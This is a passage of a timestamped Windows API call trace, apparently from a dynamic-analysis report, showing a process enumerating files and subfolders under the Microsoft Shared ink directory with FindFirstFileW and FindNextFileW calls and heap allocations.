Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.030] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.030] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0071.030] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0071.030] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.030] GetProcessHeap () returned 0x550000 [0071.030] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26e70d0 | out: hHeap=0x550000) returned 1 [0071.030] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0071.031] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0071.032] GetProcessHeap () returned 0x550000 [0071.032] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0071.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0071.062] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.062] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0071.063] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0071.063] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.063] GetProcessHeap () returned 0x550000 [0071.063] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26e70d0 | out: hHeap=0x550000) returned 1 [0071.063] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0071.063] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0071.063] GetProcessHeap () returned 0x550000 [0071.063] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0071.064] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.064] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0071.064] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0071.064] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.065] GetProcessHeap () returned 0x550000 [0071.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.065] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0071.065] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0071.065] GetProcessHeap () returned 0x550000 [0071.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0071.065] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.066] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0071.066] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0071.066] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.066] GetProcessHeap () returned 0x550000 [0071.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.066] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0071.066] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0071.067] GetProcessHeap () returned 0x550000 [0071.067] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0071.067] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.067] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0071.067] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0071.068] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0071.068] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0071.068] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.068] GetProcessHeap () returned 0x550000 [0071.068] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.068] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0071.068] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0071.069] GetProcessHeap () returned 0x550000 [0071.069] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0071.069] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.069] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0071.069] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0071.069] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.070] GetProcessHeap () returned 0x550000 [0071.070] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.070] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0071.070] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0071.070] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.070] GetProcessHeap () returned 0x550000 [0071.070] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.070] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0071.071] GetProcessHeap () returned 0x550000 [0071.071] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.071] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.071] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, 